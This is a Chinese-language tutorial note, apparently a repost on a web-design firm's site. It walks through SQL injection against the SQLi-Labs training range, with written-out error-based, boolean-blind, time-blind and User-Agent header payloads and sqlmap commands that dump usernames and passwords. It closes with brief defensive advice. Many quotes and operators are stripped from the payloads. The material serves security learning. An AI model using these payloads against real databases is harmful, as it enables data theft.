尧图网站设计 尧图网站设计YAOTU DESIGN
ARTICLE DETAIL

资讯详情

深耕网站设计与一线实操的经验洞察。

SQL高级注入技术完整学习笔记

SQL高级注入技术完整学习笔记 SQL注入技术完整学习笔记文档分为四大模块报错注入、SQL盲注、HTTP头部注入、Sqlmap自动化注入全部基于MySQL SQLi-Labs靶场实操讲解下面分模块结构化整理。一、SQL报错注入核心原理构造非法SQL语句利用数据库报错函数将查询数据在页面错误提示中回显。注入前提Web程序未屏蔽数据库原始错误错误直接输出到前端页面后台未过滤extractvalue/updatexml等报错函数。主流报错函数MySQL ≥5.1.5函数报错原理限制extractvalue(xml, xpath)XPath路径必须为/xxx格式传入非法字符会抛出语法错误带出拼接内容单次最多显示32字符超长需substr截取updatexml(xml, xpath, newval)和extractvalue报错逻辑完全一致单次最多显示32字符报错示例select extractvalue(1,concat(~,database())); -- 报错XPATH syntax error: ~security~为非法XPath字符数据库会把拼接的库名一并打印在错误信息里。完整注入流程靶场SQLi-Labs Less-1目标获取security.users表账号密码GET型单引号字符型注入爆当前数据库名?id-1 and extractvalue(1,concat(~,database()))--爆数据库所有表名调整limit N,1遍历表N从0递增?id-1 and extractvalue(1,concat(~,(select table_name from information_schema.tables where table_schemasecurity limit 0,1)))--爆users表字段名?id-1 and extractvalue(1,concat(~,(select column_name from information_schema.columns where table_schemasecurity and table_nameusers limit 0,1)))--读取账号密码数据concat_ws拼接多字段limit遍历每一行数据?id-1 and extractvalue(1,concat(~,(select concat_ws(,,id,username,password) from security.users limit 0,1)))--二、SQL盲注盲注定义SQL执行结果无法直接回显页面仅能通过页面差异判断数据真假分两类基于布尔盲注页面只有两种状态正常/空白根据页面有无内容判断条件真假基于时间盲注页面无任何差异通过sleep()延时函数根据页面加载时长判断条件真假。盲注必备核心函数函数作用length(str)获取字符串总长度substr(str,pos,len)截取指定位置、长度的字符ascii(str)返回首字符ASCII码用于二分法猜解if(条件,真执行,假执行)MySQL专用三元判断时间盲注核心sleep(N)延时N秒时间盲注标记二分法猜解逻辑快速缩小ASCII范围减少猜解次数取中间值对比判断目标字符落在左/右区间递归直到匹配成功。基于布尔盲注靶场Less-8场景页面仅输出You are in/空白无报错判断注入点?id1 and 11页面正常存在单引号注入判断库名长度?id1 and length(database())8--页面正常库名长度为8逐字符猜库名?id1 and substr(database(),1,1)s--页面正常第一位字符是s同理循环猜表名 → 字段名 → 账号密码数据基于时间盲注靶场Less-9场景页面永远只输出You are in无任何布尔差异依靠延时判断核心payload模板?id1 and if( substr(database(),1,1)s , sleep(5), 1 )--若页面加载5秒以上条件成立字符匹配页面秒开条件不成立字符错误。流程和布尔盲注完全一致库长度→库名→表→字段→数据仅外层套ifsleep延时判断。三、HTTP头部注入原理与前置知识HTTP请求报文包含请求行、请求头、请求体后台若直接读取头部字段User-Agent/Cookie/X-Forwarded-For/Referer拼接SQL写入数据库且未过滤就会产生头部注入。常见可注入头部User-Agent浏览器标识后台常记录入库Cookie会话身份存储X-Forwarded-For(XFF)伪造客户端真实IPReferer来源页面地址。注入前提可通过抓包工具BurpSuite修改请求头头部参数直接拼接SQL执行无输入过滤、无预编译防护。实操案例靶场Less-18 User-Agent注入后台原始SQLINSERT写入数据insert into security.uagents (uagent,ip_address,username) values ($uagent,$IP,$uname)Burp抓POST登录包修改User-Agent字段插入报错注入payloadMozilla/5.0 xxx and extractvalue(1,concat(~,(select user()))),,)#闭合单引号注释后续SQL数据库执行报错页面打印数据库账号信息。四、Sqlmap自动化注入工具工具简介开源自动化SQL注入工具支持报错/布尔/时间/联合/堆查询全类型注入兼容MySQL、Oracle、SQLServer等绝大多数数据库。核心能力自动识别注入点、数据库类型、一键拉取库/表/字段/数据。两大核心使用模式模式1-u 直接指定URLGET注入Less-1示例基础命令链完整渗透流程查询当前数据库sqlmap -u http://xxx/sqli/Less-1/?id1 --current-db列出指定库所有表sqlmap -u xxx -D security --tables列出指定表所有字段sqlmap -u xxx -D security -T users --columns导出账号密码数据sqlmap -u xxx -D security -T users -C username,password --dump模式2-r 加载HTTP请求包POST/头部注入通用Less-11示例适用场景POST表单、Cookie注入、User-Agent头部注入Burp抓完整HTTP请求保存为a.txtsqlmap读取文件自动注入# 查当前库 sqlmap -r /usr/a.txt --current-db # 查表、字段、导出数据参数和-u完全一致 sqlmap -r /usr/a.txt -D security -T users --dumpSqlmap支持的注入技术布尔盲注2. 时间盲注3. 报错注入4. UNION联合注入5. 堆查询注入。五、各类注入对比总结注入类型适用场景核心特征报错注入页面返回数据库原始错误数据直接在错误信息显示效率最高布尔盲注页面仅两种状态正常/空白依靠页面有无内容判断无延时时间盲注页面无任何返回差异依靠sleep延时判断速度最慢HTTP头部注入后台读取Header入库注入点不在URL/POST参数在请求头Sqlmap自动化批量渗透、懒人工具全自动探测脱库替代手工payload补充防御思路文档隐含防护逻辑关闭线上数据库原始错误输出统一自定义错误页禁用/过滤extractvalue、updatexml、sleep等危险函数SQL语句使用预编译参数化查询杜绝字符串拼接对GET/POST/HTTP Header所有输入做白名单过滤WAF拦截常见注入关键字、特殊闭合字符 # ~最小权限运行数据库账号禁止多表跨库查询。
返回列表